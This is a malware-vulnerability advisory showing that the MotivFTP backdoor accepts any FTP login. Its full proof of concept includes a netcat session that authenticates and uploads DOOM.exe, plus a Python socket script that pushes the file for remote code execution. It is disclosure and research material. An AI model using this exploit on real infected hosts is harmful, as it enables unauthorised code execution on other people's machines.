Backdoor.Win32.MotivFTP.12 malware suffers from an authentication bypass vulnerability.
61728087567c1cd744e947ea1e168649
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: MotivFTP
Type: PE32
MD5: 91b2d216c5d26d9db4289acf68fa1743
Vuln ID: MVID-2022-0544
Disclosure: 04/14/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,25).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
import time
HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
with open("DOOM.exe", "rb") as f:
while True:
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)
print("By malvuln")
s.close()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).